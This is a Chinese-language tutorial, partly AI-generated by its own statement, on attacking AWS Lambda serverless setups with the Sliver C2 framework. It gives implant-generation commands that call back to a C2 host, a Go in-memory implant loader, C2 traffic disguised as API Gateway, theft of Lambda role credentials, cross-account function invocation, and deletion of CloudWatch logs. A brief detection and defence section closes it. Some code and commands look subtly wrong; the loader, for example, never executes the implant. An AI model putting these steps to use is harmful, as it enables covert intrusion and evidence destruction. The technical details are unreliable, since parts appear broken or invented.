Sliver框架云原生安全测试:Serverless架构的渗透方法
【免费下载链接】sliver Adversary Emulation Framework 项目地址: https://gitcode.com/gh_mirrors/sl/sliver
Serverless架构凭借其弹性扩展和按需付费的特性,已成为云原生应用的主流部署模式。但随着Lambda、Cloud Functions等无服务器服务的普及,传统安全测试工具难以应对其动态性和分布式特性。Sliver作为一款开源跨平台红队框架(README.md),通过Mutual TLS(mTLS)、安全通信协议、HTTP(S)等多种C2(Command & Control,命令与控制)信道,为Serverless环境的渗透测试提供了灵活解决方案。本文将从环境搭建、无文件攻击、横向移动三个维度,详解如何利用Sliver进行Serverless架构的安全测试。
环境准备:Sliver与Serverless的适配改造
核心组件与架构
Sliver框架采用客户端-服务器-植入体(Implant)三层架构,其核心优势在于动态编译的植入体和多协议C2支持。在Serverless环境中,需重点关注以下模块:
- HTTP(S) C2信道:通过server/c2/http.go实现,支持自定义HTTP头、Cookie和路径混淆,适配云函数的API网关触发模式。
- 动态植入体生成:通过server/generate/implants.go编译轻量级植入体,可嵌入Lambda函数部署包或通过层(Layer)注入。
- 加密通信:使用cryptography/cryptography.go实现的端到端加密,规避云服务商的流量监控。
部署步骤
-
服务端部署:在EC2或ECS中启动Sliver服务端,配置HTTPS C2监听器:
sliver-server new-c2-profile --http --name serverless-http --domain api.example.com --path /lambda-trigger sliver-server http --profile serverless-http --port 443 -
植入体编译:生成适用于Amazon Linux 2的植入体,禁用持久化以符合Serverless无状态特性:
sliver-client generate --os linux --arch amd64 --http --c2 api.example.com:443/lambda-trigger --no-persistence --output lambda_implant -
Serverless环境准备:创建包含植入体的Lambda层,修改
serverless.yml配置内存限制(建议≥512MB)和执行角色权限。
无文件攻击:利用Sliver实现Lambda函数内存马
攻击链设计
Serverless环境的无文件攻击需解决两个核心问题:植入体加载与命令执行。Sliver通过以下流程实现:
- 触发机制:通过API网关或S3事件触发目标Lambda函数。
- 内存注入:利用AWS Lambda的
/dev/shm共享内存区域,将Sliver植入体加载至内存。 - C2通信:通过server/c2/http.go的HTTP信道回连,规避WAF检测。
关键技术实现
1. 植入体内存加载
利用Golang的syscall包实现植入体的内存加载,示例代码片段:
// 从环境变量读取植入体Base64编码内容
implantB64 := os.Getenv("IMPLANT_B64")
implantData, _ := base64.StdEncoding.DecodeString(implantB64)
// 分配内存页并设置可执行权限
mem, _ := syscall.Mmap(-1, 0, len(implantData), syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC, syscall.MAP_ANON|syscall.MAP_PRIVATE)
copy(mem, implantData)
// 执行植入体
syscall.Syscall(syscall.SYS_MPROTECT, uintptr(unsafe.Pointer(&mem[0])), uintptr(len(mem)), syscall.PROT_EXEC)
2. C2流量伪装
修改server/c2/http.go的HTTP请求处理逻辑,伪装为合法API调用:
// 在http.go中添加自定义User-Agent和Referer
func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
resp.Header().Set("Server", "AWSAPIGateway")
resp.Header().Set("X-Amzn-Trace-Id", uuid.New().String())
next.ServeHTTP(resp, req)
})
}
横向移动:跨函数与跨账户渗透
云环境横向移动路径
Serverless架构的横向移动主要依赖IAM权限滥用和内部服务调用。Sliver通过以下模块实现:
- 凭证窃取:利用credentials/credentials.go捕获Lambda执行角色的临时凭证。
- 函数调用:通过AWS SDK调用其他账户的Lambda函数,示例代码:
sess := session.Must(session.NewSession()) lambdaClient := lambda.New(sess) input := &lambda.InvokeInput{ FunctionName: aws.String("target-function"), InvocationType: aws.String("Event"), Payload: []byte(`{"implant":"base64_encoded_implant"}`), } lambdaClient.Invoke(input)
防御规避策略
- 频率限制绕过:通过server/core/jobs.go实现请求速率控制,模拟正常业务流量。
- 日志清理:利用Sliver的
clear-logs命令删除CloudWatch日志,调用server/handlers/sessions.go的日志清理接口。
检测与防御建议
蓝队视角:Sliver攻击的检测方法
- 异常流量监控:关注API网关中带有随机User-Agent且路径为
/lambda-trigger的HTTPS请求(参考server/c2/http.go的默认配置)。 - 内存特征检测:通过Amazon Inspector监控
/dev/shm中的异常内存页权限变更。 - 权限审计:定期检查Lambda执行角色是否包含
lambda:InvokeFunction等敏感权限。
防御措施
- 最小权限原则:限制Lambda角色仅能访问必要资源,禁用
ec2:DescribeInstances等横向移动相关API。 - 代码签名:启用Lambda函数的代码签名验证,阻止未授权植入体加载。
- 流量加密:使用AWS KMS加密环境变量,避免植入体明文传输。
总结与展望
Sliver框架通过灵活的C2信道和轻量级植入体,为Serverless架构的安全测试提供了新范式。随着云原生技术的发展,建议关注以下方向:
- Serverless-specific C2协议:开发适配AWS API Gateway WebSocket或SQS的C2信道。
- WASM植入体:利用WebAssembly实现跨平台无文件攻击,规避Golang编译器依赖。
- AI驱动的攻击路径规划:结合Sliver的server/core/events.go事件系统,动态调整攻击策略。
通过本文方法,安全团队可系统性评估Serverless架构的抗攻击能力,为云原生应用构建更可靠的防御体系。
【免费下载链接】sliver Adversary Emulation Framework 项目地址: https://gitcode.com/gh_mirrors/sl/sliver
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考




